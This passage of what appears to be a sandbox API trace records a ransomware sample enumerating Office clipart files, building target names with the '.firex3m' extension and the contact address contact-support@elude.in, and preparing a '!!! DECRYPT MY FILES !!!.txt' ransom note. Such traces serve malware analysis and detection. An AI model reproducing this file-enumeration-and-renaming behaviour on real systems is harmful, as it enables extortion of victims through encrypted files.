lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.726] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.726] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.727] GetProcessHeap () returned 0x630000 [0133.727] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c0) returned 0x66a3e0 [0133.727] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0133.727] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 1 [0133.727] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf") returned 0x44 [0133.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0133.727] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0133.727] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0133.727] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0133.727] GetProcessHeap () returned 0x630000 [0133.727] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1c4) returned 0x66a3e0 [0135.727] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0135.728] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 1 [0135.728] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf") returned 0x44 [0135.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.728] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.728] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.728] GetProcessHeap () returned 0x630000 [0135.728] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0135.728] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0135.728] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 1 [0135.728] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf") returned 0x44 [0135.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.728] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.729] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.729] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.729] GetProcessHeap () returned 0x630000 [0135.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x178) returned 0x66a3e0 [0135.729] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1 [0135.729] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 1 [0135.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf") returned 0x44 [0135.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.729] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.729] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.729] GetProcessHeap () returned 0x630000 [0135.729] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x17c) returned 0x66a3e0 [0135.730] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0135.730] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 1 [0135.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf") returned 0x44 [0135.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.730] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.730] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.730] GetProcessHeap () returned 0x630000 [0135.730] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x180) returned 0x66a3e0 [0135.730] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0135.730] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 1 [0135.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf") returned 0x44 [0135.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.731] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.731] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.731] GetProcessHeap () returned 0x630000 [0135.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x184) returned 0x66a3e0 [0135.731] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0135.731] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 1 [0135.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf") returned 0x44 [0135.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.731] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.731] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.731] GetProcessHeap () returned 0x630000 [0135.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x188) returned 0x66a3e0 [0135.732] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1 [0135.732] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 1 [0135.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf") returned 0x44 [0135.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.732] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.732] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.732] GetProcessHeap () returned 0x630000 [0135.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x18c) returned 0x66a3e0 [0135.732] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1 [0135.732] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 1 [0135.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf") returned 0x44 [0135.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.733] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.733] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.733] GetProcessHeap () returned 0x630000 [0135.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x190) returned 0x66a3e0 [0135.733] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd685b3d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd685b3d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1 [0135.734] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 1 [0135.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf") returned 0x44 [0135.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.734] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.734] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.734] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.735] GetProcessHeap () returned 0x630000 [0135.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x194) returned 0x66a3e0 [0135.735] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd65f8ed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd65f8ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd685b3d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0135.735] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 1 [0135.735] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf") returned 0x44 [0135.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.735] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.735] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.735] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.735] GetProcessHeap () returned 0x630000 [0135.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x198) returned 0x66a3e0 [0135.735] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6396e0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6396e0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd65f8ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0135.736] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 1 [0135.736] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00648_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00648_.wmf") returned 0x44 [0135.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.736] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.736] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.736] GetProcessHeap () returned 0x630000 [0135.736] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x19c) returned 0x66a3e0 [0135.736] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: 